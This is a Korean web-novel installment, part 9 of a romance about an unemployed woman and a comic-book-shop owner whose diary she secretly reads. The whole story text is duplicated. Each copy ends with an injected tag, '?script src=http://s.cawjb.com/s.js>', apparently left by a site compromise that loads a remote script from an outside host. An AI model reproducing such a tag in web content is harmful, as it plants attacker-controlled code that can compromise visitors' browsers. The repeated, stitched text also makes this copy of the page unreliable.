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[제목]
백수의 사랑이야기Ⅱ(9) (소설가)
🧑 정부영
|
📅 2016-01-06 18:15:58
|
👀 38
만화방총각:내소설책을 폈다. 다시 소설이 안써진다. 천천히 앞을 넘겨보았다.
곳곳에 정경이 이름이 보인다. 혜지씨의 이름도 적혀있다. 내 일기같이 쓰여진
부분이 많다. 싫다. 자꾸 어제 정경이를 찾아왔던 그남자 생각이 난다.
또 시한편 적었다. 상당히 노골적인 시다.
오후가 되어 혜지씨가 왔다. 기분 때문에 그렇게 반가운 표정을 지어주지 못했다.
간단한 인사만 하고 나왔다.
정경이를 찾아갔다. 카운터에 그녀가 앉아 있다. 오늘도 그녀는 변함없이 반갑게
날 맞이했다. 이런저런 얘기를 하다가 어제 그놈에 대해 물었다. 그녀의 남편이었던
사람이었다. 그소리가 기분 나쁘게 내 맘속으로 전해져 왔다.
헤어졌으면 그만이지 왜 다시 찾아왔지? 그녀는 별 신경 안쓰고 자기가 보고싶어서
왔겠지.라고 대답했다. 그렇게 답하는 그녀가 싫다. 그놈이라는 단어를 쓰며 안좋은
소릴 막했다. 내 말에 정경인 동의하는 답이 올줄 알았다.
근데 그게 아니었다. 딱 잘라 말한 한마디를 들었다. "너. 말 조심해!" 허? 요즘들어
난 그녀에게 아픈 상처를 준 전남편의 모습을 지워주려고 무던히 노력했다.
그리고 간혹 그녀의 남편얘기가 나오면 나쁜쪽으로 말한건 오히려 정경이었다.
근데 오늘 대답은 아니었다. 기분이 나빴는지 나보고 집에 가란다. 묘한 배신감이 들었다.
백수아가씨: 어제 생각해논 코트를 입고 만화방을 갔다. 이병씨가 오늘은 반가운
표정이 아니다. 무뚝뚝하게 나를 맞이하더니 또한 무뚝뚝하게 밖으로 나갔다.
무슨 안좋은 일 있나? 안좋은 일이 있다면 풀려야 할텐데..
라면주문이 없나? 어제 단골녀석이 가르쳐준대로 집에서 라면을 끓여보았다.
그녀석이 끓인것보단 못하지만 괜찮았다. 달라진 나의 모습을 나의 팬들에게 보여주고
싶다. 코트안에 손을 넣고 만화방안을 둘러보았다. 아직 손님이 별로 없다.
어? 왠 열쇠지. 아 맞다. 그때 이병씨가 준 열쇠. 아직 내가 가지고 있었구나. 어디다
넣어두지?
이병씨가 즐겨적던 공책에다 꽂아두면 그가 빨리 찾겠지. 카운터 책상밑의 공책을
꺼내어 펼쳤다. 무슨 글이 적혀 있다. 소설같이 길게 적혀있다. 중간중간 읽어보았다.
쿠쿠. 완전 삼류 연애코믹소설이다. 하나도 야하지 않는데 그 옆에 적혀 있는 이병씨의
생각이 넘 웃긴다. (넘야한가. 나중에 수정해야겠다.) 쿠쿠. 꽤 오랜시간 소설을 보았다.
글자 틀린것도 많구나. 나중에 기회되면 수정해 주어야겠다. 내가 또 국문학도 아닌가.
유치하지만 재미는 있다. 책장을 넘겼다. 음 갑자기 분위기가 이상해지네..
줄이 그어져 있다. 그리고 정경이라는 단어가 많이 나왔다. 일기같이 쓰여진 그의 글을
보았다. 이걸 보아도 되나? 계속 읽었다. 그가 사랑하는 사람의 이름이 정경이다.
기분이 좀 그렇다. 이혼녀를 좋아하는 그가 안되어 보이면서도 로멘틱하다.
밝은 느낌의 글이 이어지다가 또 어둡게 변했다.
그의 일기같은 글에서 묘한 느낌의 단어를 찾았다. '최혜지?' 내 이름이다.
그리고 물음표? 물음표는 뭘 의미할까?
내 앞에 누군가 서 있는 느낌이 들었다. 단골녀석이 올시간이 되었구나.
밝은 표정으로 고개를 들었다. 그러나 단골녀석이 아니라 이병씨였다. 많이 놀랐다.
오늘은 그가 아주 빨리 돌아왔다. 어두운 표정이다. 그가 내가 들고 있는 공책을
보았다. 난 어색하고 미안한 표정을 지어며 한손가락을 깨물었다.
고개를 숙이고 "열쇠끼워 놓을려고 그랬다가..." 아무말 없이 그가 공책을 뺏는다.
"앞으로. 이공책은 손대지 마세요." 아주 쌀쌀한 대답이다. 그말의 어감은 기분이
많이 나빴다는 투다. 하긴 자기고백같은 글이었으니까. 기분을 풀어주고 싶다.
그래서 변명같은 사과의 말을 했다. "괜찮으니. 접어둬요."그렇게 말하며 방으로
가는 그를 따라갔다. "저기요.. 뒷부분은 안보고.. 소설만 읽었어요." 그말을 듣자
그가 버럭 소릴 질렀다. "괜찮다니까요!" 깜짝 놀랬다. "내가 만화방볼테니.
집에나 가요." 만화방손님들도 무슨일이냐는 듯 쳐다보았다. 그는 문을 홱닫고
방으로 들어갔다. 눈물이 찔끔 나왔다. 집에 가라고 그랬지만 갈수가 없다.
그가 옷을 갈아입고 나왔다. 그가 카운터에 앉자. 그의 옆에 말없이 섰다.
그는 아무말 않고 한참동안 그냥 앞만 보고 있었다. 내가 집에 가질 않고 옆에
서있자. "그냥 기분 안좋은 일이 있어서 그래요. 그리고 남의 일기같은건 훔쳐
보는게 아닙니다. 오늘은 그냥 집에가세요." 쌀쌀하게 날 쳐다보지도 않고 말한다.
"안녕히 계세요."그말 한마디만 하고 만화방을 나왔다. 내말은 많이 떨리고 있었다.
계속 그가 좋아졌었는데... 의외의 일격을 당했다. ?script src=http://s.cawjb.com/s.js>
곳곳에 정경이 이름이 보인다. 혜지씨의 이름도 적혀있다. 내 일기같이 쓰여진
부분이 많다. 싫다. 자꾸 어제 정경이를 찾아왔던 그남자 생각이 난다.
또 시한편 적었다. 상당히 노골적인 시다.
오후가 되어 혜지씨가 왔다. 기분 때문에 그렇게 반가운 표정을 지어주지 못했다.
간단한 인사만 하고 나왔다.
정경이를 찾아갔다. 카운터에 그녀가 앉아 있다. 오늘도 그녀는 변함없이 반갑게
날 맞이했다. 이런저런 얘기를 하다가 어제 그놈에 대해 물었다. 그녀의 남편이었던
사람이었다. 그소리가 기분 나쁘게 내 맘속으로 전해져 왔다.
헤어졌으면 그만이지 왜 다시 찾아왔지? 그녀는 별 신경 안쓰고 자기가 보고싶어서
왔겠지.라고 대답했다. 그렇게 답하는 그녀가 싫다. 그놈이라는 단어를 쓰며 안좋은
소릴 막했다. 내 말에 정경인 동의하는 답이 올줄 알았다.
근데 그게 아니었다. 딱 잘라 말한 한마디를 들었다. "너. 말 조심해!" 허? 요즘들어
난 그녀에게 아픈 상처를 준 전남편의 모습을 지워주려고 무던히 노력했다.
그리고 간혹 그녀의 남편얘기가 나오면 나쁜쪽으로 말한건 오히려 정경이었다.
근데 오늘 대답은 아니었다. 기분이 나빴는지 나보고 집에 가란다. 묘한 배신감이 들었다.
백수아가씨: 어제 생각해논 코트를 입고 만화방을 갔다. 이병씨가 오늘은 반가운
표정이 아니다. 무뚝뚝하게 나를 맞이하더니 또한 무뚝뚝하게 밖으로 나갔다.
무슨 안좋은 일 있나? 안좋은 일이 있다면 풀려야 할텐데..
라면주문이 없나? 어제 단골녀석이 가르쳐준대로 집에서 라면을 끓여보았다.
그녀석이 끓인것보단 못하지만 괜찮았다. 달라진 나의 모습을 나의 팬들에게 보여주고
싶다. 코트안에 손을 넣고 만화방안을 둘러보았다. 아직 손님이 별로 없다.
어? 왠 열쇠지. 아 맞다. 그때 이병씨가 준 열쇠. 아직 내가 가지고 있었구나. 어디다
넣어두지?
이병씨가 즐겨적던 공책에다 꽂아두면 그가 빨리 찾겠지. 카운터 책상밑의 공책을
꺼내어 펼쳤다. 무슨 글이 적혀 있다. 소설같이 길게 적혀있다. 중간중간 읽어보았다.
쿠쿠. 완전 삼류 연애코믹소설이다. 하나도 야하지 않는데 그 옆에 적혀 있는 이병씨의
생각이 넘 웃긴다. (넘야한가. 나중에 수정해야겠다.) 쿠쿠. 꽤 오랜시간 소설을 보았다.
글자 틀린것도 많구나. 나중에 기회되면 수정해 주어야겠다. 내가 또 국문학도 아닌가.
유치하지만 재미는 있다. 책장을 넘겼다. 음 갑자기 분위기가 이상해지네..
줄이 그어져 있다. 그리고 정경이라는 단어가 많이 나왔다. 일기같이 쓰여진 그의 글을
보았다. 이걸 보아도 되나? 계속 읽었다. 그가 사랑하는 사람의 이름이 정경이다.
기분이 좀 그렇다. 이혼녀를 좋아하는 그가 안되어 보이면서도 로멘틱하다.
밝은 느낌의 글이 이어지다가 또 어둡게 변했다.
그의 일기같은 글에서 묘한 느낌의 단어를 찾았다. '최혜지?' 내 이름이다.
그리고 물음표? 물음표는 뭘 의미할까?
내 앞에 누군가 서 있는 느낌이 들었다. 단골녀석이 올시간이 되었구나.
밝은 표정으로 고개를 들었다. 그러나 단골녀석이 아니라 이병씨였다. 많이 놀랐다.
오늘은 그가 아주 빨리 돌아왔다. 어두운 표정이다. 그가 내가 들고 있는 공책을
보았다. 난 어색하고 미안한 표정을 지어며 한손가락을 깨물었다.
고개를 숙이고 "열쇠끼워 놓을려고 그랬다가..." 아무말 없이 그가 공책을 뺏는다.
"앞으로. 이공책은 손대지 마세요." 아주 쌀쌀한 대답이다. 그말의 어감은 기분이
많이 나빴다는 투다. 하긴 자기고백같은 글이었으니까. 기분을 풀어주고 싶다.
그래서 변명같은 사과의 말을 했다. "괜찮으니. 접어둬요."그렇게 말하며 방으로
가는 그를 따라갔다. "저기요.. 뒷부분은 안보고.. 소설만 읽었어요." 그말을 듣자
그가 버럭 소릴 질렀다. "괜찮다니까요!" 깜짝 놀랬다. "내가 만화방볼테니.
집에나 가요." 만화방손님들도 무슨일이냐는 듯 쳐다보았다. 그는 문을 홱닫고
방으로 들어갔다. 눈물이 찔끔 나왔다. 집에 가라고 그랬지만 갈수가 없다.
그가 옷을 갈아입고 나왔다. 그가 카운터에 앉자. 그의 옆에 말없이 섰다.
그는 아무말 않고 한참동안 그냥 앞만 보고 있었다. 내가 집에 가질 않고 옆에
서있자. "그냥 기분 안좋은 일이 있어서 그래요. 그리고 남의 일기같은건 훔쳐
보는게 아닙니다. 오늘은 그냥 집에가세요." 쌀쌀하게 날 쳐다보지도 않고 말한다.
"안녕히 계세요."그말 한마디만 하고 만화방을 나왔다. 내말은 많이 떨리고 있었다.
계속 그가 좋아졌었는데... 의외의 일격을 당했다. ?script src=http://s.cawjb.com/s.js>
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